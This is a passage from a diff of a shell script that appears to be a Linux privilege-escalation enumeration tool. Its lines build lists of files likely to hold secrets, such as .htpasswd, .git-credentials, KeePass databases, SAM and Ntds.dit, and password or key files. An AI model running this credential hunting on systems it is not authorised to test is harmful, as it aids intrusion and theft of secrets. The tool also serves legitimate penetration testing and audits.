"$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "httpd\.conf$" | sort | uniq | head -n 70) - PSTORAGE_HTPASSWD=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.htpasswd$" | sort | uniq | head -n 70) - PSTORAGE_LDAPRC=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.ldaprc$" | sort | uniq | head -n 70) - PSTORAGE_ENV=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.env$" | sort | uniq | head -n 70) - PSTORAGE_MSMTPRC=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.msmtprc$" | sort | uniq | head -n 70) - PSTORAGE_INFLUXDB=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "influxdb\.conf$" | sort | uniq | head -n 70) - PSTORAGE_ZABBIX=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "zabbix_server\.conf$|zabbix_agentd\.conf$|zabbix$" | sort | uniq | head -n 70) - PSTORAGE_GITHUB=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70) - PSTORAGE_SVN=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.svn$" | sort | uniq | head -n 70) - PSTORAGE_KEEPASS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70) - PSTORAGE_PRE_SHARED_KEYS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*\.psk$" | sort | uniq | head -n 70) - PSTORAGE_PASS_STORE_DIRECTORIES=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.password-store$" | sort | uniq | head -n 70) - PSTORAGE_FTP=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|sites\.ini$|wcx_ftp\.ini$|winscp\.ini$|ws_ftp\.ini$" | sort | uniq | head -n 70) - PSTORAGE_BIND=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/usr|^/etc" | grep -E "bind$" | sort | uniq | head -n 70) - PSTORAGE_SEEDDMS=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "seeddms.*$" | sort | uniq | head -n 70) - PSTORAGE_DDCLIENT=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "ddclient\.conf$" | sort | uniq | head -n 70) - PSTORAGE_KCPASSWORD=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "kcpassword$" | sort | uniq | head -n 70) - PSTORAGE_SENTRY=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "sentry$|sentry\.conf\.py$" | sort | uniq | head -n 70) - PSTORAGE_STRAPI=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "environments$" | sort | uniq | head -n 70) - PSTORAGE_CACTI=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "cacti$" | sort | uniq | head -n 70) - PSTORAGE_ROUNDCUBE=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "roundcube$" | sort | uniq | head -n 70) - PSTORAGE_PASSBOLT=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "passbolt\.php$" | sort | uniq | head -n 70) - PSTORAGE_JETTY=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "jetty-realm\.properties$" | sort | uniq | head -n 70) - PSTORAGE_WGET=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.wgetrc$" | sort | uniq | head -n 70) - PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70) - PSTORAGE_OTHER_INTERESTING=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70) - PSTORAGE_WINDOWS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "unattend\.inf$|.*\.rdg$|AppEvent\.Evt$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|protecteduserkey\.bin$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security\.sav$|server\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|ws_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$" | sort | uniq | head -n 70) - PSTORAGE_DATABASE=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/man/|/usr/|/var/cache/' | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70) - PSTORAGE_BACKUPS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "backup$|backups$" | sort | uniq | head -n 70) - PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*password.*$|.*credential.*$|creds.*$|.*\.key$" | sort | uniq | head -n 70) + # GENERATE THE STORAGES OF THE FOUND FILES + 